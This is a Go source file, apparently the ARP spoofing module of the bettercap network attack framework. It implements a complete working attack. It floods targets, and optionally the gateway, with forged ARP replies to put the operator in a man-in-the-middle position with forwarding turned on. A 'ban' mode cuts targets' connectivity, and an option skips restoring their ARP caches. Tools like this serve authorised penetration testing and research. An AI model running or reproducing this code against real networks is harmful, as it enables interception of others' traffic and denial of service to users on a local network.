| 1 | package arp_spoof |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "net" |
| 6 | "strings" |
| 7 | "sync" |
| 8 | "time" |
| 9 | |
| 10 | "github.com/bettercap/bettercap/network" |
| 11 | "github.com/bettercap/bettercap/packets" |
| 12 | "github.com/bettercap/bettercap/session" |
| 13 | |
| 14 | "github.com/malfunkt/iprange" |
| 15 | ) |
| 16 | |
| 17 | type ArpSpoofer struct { |
| 18 | session.SessionModule |
| 19 | addresses []net.IP |
| 20 | macs []net.HardwareAddr |
| 21 | wAddresses []net.IP |
| 22 | wMacs []net.HardwareAddr |
| 23 | fullDuplex bool |
| 24 | internal bool |
| 25 | ban bool |
| 26 | skipRestore bool |
| 27 | waitGroup *sync.WaitGroup |
| 28 | } |
| 29 | |
| 30 | func NewArpSpoofer(s *session.Session) *ArpSpoofer { |
| 31 | mod := &ArpSpoofer{ |
| 32 | SessionModule: session.NewSessionModule("arp.spoof", s), |
| 33 | addresses: make([]net.IP, 0), |
| 34 | macs: make([]net.HardwareAddr, 0), |
| 35 | wAddresses: make([]net.IP, 0), |
| 36 | wMacs: make([]net.HardwareAddr, 0), |
| 37 | ban: false, |
| 38 | internal: false, |
| 39 | fullDuplex: false, |
| 40 | skipRestore: false, |
| 41 | waitGroup: &sync.WaitGroup{}, |
| 42 | } |
| 43 | |
| 44 | mod.SessionModule.Requires("net.recon") |
| 45 | |
| 46 | mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges.")) |
| 47 | |
| 48 | mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing.")) |
| 49 | |
| 50 | mod.AddParam(session.NewBoolParameter("arp.spoof.internal", |
| 51 | "false", |
| 52 | "If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network.")) |
| 53 | |
| 54 | mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex", |
| 55 | "false", |
| 56 | "If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail).")) |
| 57 | |
| 58 | noRestore := session.NewBoolParameter("arp.spoof.skip_restore", |
| 59 | "false", |
| 60 | "If set to true, targets arp cache won't be restored when spoofing is stopped.") |
| 61 | |
| 62 | mod.AddObservableParam(noRestore, func(v string) { |
| 63 | if strings.ToLower(v) == "true" || v == "1" { |
| 64 | mod.skipRestore = true |
| 65 | mod.Warning("arp cache restoration after spoofing disabled") |
| 66 | } else { |
| 67 | mod.skipRestore = false |
| 68 | mod.Debug("arp cache restoration after spoofing enabled") |
| 69 | } |
| 70 | }) |
| 71 | |
| 72 | mod.AddHandler(session.NewModuleHandler("arp.spoof on", "", |
| 73 | "Start ARP spoofer.", |
| 74 | func(args []string) error { |
| 75 | return mod.Start() |
| 76 | })) |
| 77 | |
| 78 | mod.AddHandler(session.NewModuleHandler("arp.ban on", "", |
| 79 | "Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.", |
| 80 | func(args []string) error { |
| 81 | mod.ban = true |
| 82 | return mod.Start() |
| 83 | })) |
| 84 | |
| 85 | mod.AddHandler(session.NewModuleHandler("arp.spoof off", "", |
| 86 | "Stop ARP spoofer.", |
| 87 | func(args []string) error { |
| 88 | return mod.Stop() |
| 89 | })) |
| 90 | |
| 91 | mod.AddHandler(session.NewModuleHandler("arp.ban off", "", |
| 92 | "Stop ARP spoofer.", |
| 93 | func(args []string) error { |
| 94 | return mod.Stop() |
| 95 | })) |
| 96 | |
| 97 | return mod |
| 98 | } |
| 99 | |
| 100 | func (mod ArpSpoofer) Name() string { |
| 101 | return "arp.spoof" |
| 102 | } |
| 103 | |
| 104 | func (mod ArpSpoofer) Description() string { |
| 105 | return "Keep spoofing selected hosts on the network." |
| 106 | } |
| 107 | |
| 108 | func (mod ArpSpoofer) Author() string { |
| 109 | return "Simone Margaritelli <[email protected]>" |
| 110 | } |
| 111 | |
| 112 | func (mod *ArpSpoofer) Configure() error { |
| 113 | var err error |
| 114 | var targets string |
| 115 | var whitelist string |
| 116 | |
| 117 | if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil { |
| 118 | return err |
| 119 | } else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil { |
| 120 | return err |
| 121 | } else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil { |
| 122 | return err |
| 123 | } else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil { |
| 124 | return err |
| 125 | } else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { |
| 126 | return err |
| 127 | } else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil { |
| 128 | return err |
| 129 | } |
| 130 | |
| 131 | mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs) |
| 132 | |
| 133 | if mod.ban { |
| 134 | mod.Warning("running in ban mode, forwarding not enabled!") |
| 135 | mod.Session.Firewall.EnableForwarding(false) |
| 136 | } else if !mod.Session.Firewall.IsForwardingEnabled() { |
| 137 | mod.Info("enabling forwarding") |
| 138 | mod.Session.Firewall.EnableForwarding(true) |
| 139 | } |
| 140 | |
| 141 | return nil |
| 142 | } |
| 143 | |
| 144 | func (mod *ArpSpoofer) Start() error { |
| 145 | if err := mod.Configure(); err != nil { |
| 146 | return err |
| 147 | } |
| 148 | |
| 149 | nTargets := len(mod.addresses) + len(mod.macs) |
| 150 | if nTargets == 0 { |
| 151 | mod.Warning("list of targets is empty, module not starting.") |
| 152 | return nil |
| 153 | } |
| 154 | |
| 155 | return mod.SetRunning(true, func() { |
| 156 | neighbours := []net.IP{} |
| 157 | |
| 158 | if mod.internal { |
| 159 | list, _ := iprange.ParseList(mod.Session.Interface.CIDR()) |
| 160 | neighbours = list.Expand() |
| 161 | nNeigh := len(neighbours) - 2 |
| 162 | |
| 163 | mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets) |
| 164 | } else { |
| 165 | mod.Info("arp spoofer started, probing %d targets.", nTargets) |
| 166 | } |
| 167 | |
| 168 | if mod.fullDuplex { |
| 169 | mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.") |
| 170 | } |
| 171 | |
| 172 | mod.waitGroup.Add(1) |
| 173 | defer mod.waitGroup.Done() |
| 174 | |
| 175 | gwIP := mod.Session.Gateway.IP |
| 176 | myMAC := mod.Session.Interface.HW |
| 177 | for mod.Running() { |
| 178 | mod.arpSpoofTargets(gwIP, myMAC, true, false) |
| 179 | for _, address := range neighbours { |
| 180 | if !mod.Session.Skip(address) { |
| 181 | mod.arpSpoofTargets(address, myMAC, true, false) |
| 182 | } |
| 183 | } |
| 184 | |
| 185 | time.Sleep(1 * time.Second) |
| 186 | } |
| 187 | }) |
| 188 | } |
| 189 | |
| 190 | func (mod *ArpSpoofer) unSpoof() error { |
| 191 | if !mod.skipRestore { |
| 192 | nTargets := len(mod.addresses) + len(mod.macs) |
| 193 | mod.Info("restoring ARP cache of %d targets.", nTargets) |
| 194 | mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false) |
| 195 | |
| 196 | if mod.internal { |
| 197 | list, _ := iprange.ParseList(mod.Session.Interface.CIDR()) |
| 198 | neighbours := list.Expand() |
| 199 | for _, address := range neighbours { |
| 200 | if !mod.Session.Skip(address) { |
| 201 | if realMAC, err := mod.Session.FindMAC(address, false); err == nil { |
| 202 | mod.arpSpoofTargets(address, realMAC, false, false) |
| 203 | } |
| 204 | } |
| 205 | } |
| 206 | } |
| 207 | } else { |
| 208 | mod.Warning("arp cache restoration is disabled") |
| 209 | } |
| 210 | |
| 211 | return nil |
| 212 | } |
| 213 | |
| 214 | func (mod *ArpSpoofer) Stop() error { |
| 215 | return mod.SetRunning(false, func() { |
| 216 | mod.Info("waiting for ARP spoofer to stop ...") |
| 217 | mod.unSpoof() |
| 218 | mod.ban = false |
| 219 | mod.waitGroup.Wait() |
| 220 | }) |
| 221 | } |
| 222 | |
| 223 | func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool { |
| 224 | for _, addr := range mod.wAddresses { |
| 225 | if ip == addr.String() { |
| 226 | return true |
| 227 | } |
| 228 | } |
| 229 | |
| 230 | for _, hw := range mod.wMacs { |
| 231 | if bytes.Equal(hw, mac) { |
| 232 | return true |
| 233 | } |
| 234 | } |
| 235 | |
| 236 | return false |
| 237 | } |
| 238 | |
| 239 | func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { |
| 240 | targets := make(map[string]net.HardwareAddr) |
| 241 | |
| 242 | // add targets specified by IP address |
| 243 | for _, ip := range mod.addresses { |
| 244 | if mod.Session.Skip(ip) { |
| 245 | continue |
| 246 | } |
| 247 | // do we have this ip mac address? |
| 248 | if hw, err := mod.Session.FindMAC(ip, probe); err == nil { |
| 249 | targets[ip.String()] = hw |
| 250 | } |
| 251 | } |
| 252 | // add targets specified by MAC address |
| 253 | for _, hw := range mod.macs { |
| 254 | if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil { |
| 255 | if mod.Session.Skip(net.ParseIP(ip)) { |
| 256 | continue |
| 257 | } |
| 258 | targets[ip] = hw |
| 259 | } |
| 260 | } |
| 261 | |
| 262 | return targets |
| 263 | } |
| 264 | |
| 265 | func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) { |
| 266 | mod.waitGroup.Add(1) |
| 267 | defer mod.waitGroup.Done() |
| 268 | |
| 269 | gwIP := mod.Session.Gateway.IP |
| 270 | gwHW := mod.Session.Gateway.HW |
| 271 | ourHW := mod.Session.Interface.HW |
| 272 | isGW := false |
| 273 | isSpoofing := false |
| 274 | |
| 275 | // are we spoofing the gateway IP? |
| 276 | if net.IP.Equal(saddr, gwIP) { |
| 277 | isGW = true |
| 278 | // are we restoring the original MAC of the gateway? |
| 279 | if !bytes.Equal(smac, gwHW) { |
| 280 | isSpoofing = true |
| 281 | } |
| 282 | } |
| 283 | |
| 284 | if targets := mod.getTargets(probe); len(targets) == 0 { |
| 285 | mod.Warning("could not find spoof targets") |
| 286 | } else { |
| 287 | for ip, mac := range targets { |
| 288 | if check_running && !mod.Running() { |
| 289 | return |
| 290 | } else if mod.isWhitelisted(ip, mac) { |
| 291 | mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac) |
| 292 | continue |
| 293 | } else if saddr.String() == ip { |
| 294 | continue |
| 295 | } |
| 296 | |
| 297 | rawIP := net.ParseIP(ip) |
| 298 | if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil { |
| 299 | mod.Error("error while creating ARP spoof packet for %s: %s", ip, err) |
| 300 | } else { |
| 301 | mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String()) |
| 302 | mod.Session.Queue.Send(pkt) |
| 303 | } |
| 304 | |
| 305 | if mod.fullDuplex && isGW { |
| 306 | err := error(nil) |
| 307 | gwPacket := []byte(nil) |
| 308 | |
| 309 | if isSpoofing { |
| 310 | mod.Debug("telling the gw we are %s", ip) |
| 311 | // we told the target we're te gateway, not let's tell the |
| 312 | // gateway that we are the target |
| 313 | if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil { |
| 314 | mod.Error("error while creating ARP spoof packet: %s", err) |
| 315 | } |
| 316 | } else { |
| 317 | mod.Debug("telling the gw %s is %s", ip, mac) |
| 318 | // send the gateway the original MAC of the target |
| 319 | if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil { |
| 320 | mod.Error("error while creating ARP spoof packet: %s", err) |
| 321 | } |
| 322 | } |
| 323 | |
| 324 | if gwPacket != nil { |
| 325 | mod.Debug("sending %d bytes of ARP packet to the gateway", len(gwPacket)) |
| 326 | if err = mod.Session.Queue.Send(gwPacket); err != nil { |
| 327 | mod.Error("error while sending packet: %v", err) |
| 328 | } |
| 329 | } |
| 330 | } |
| 331 | } |
| 332 | } |
| 333 | } |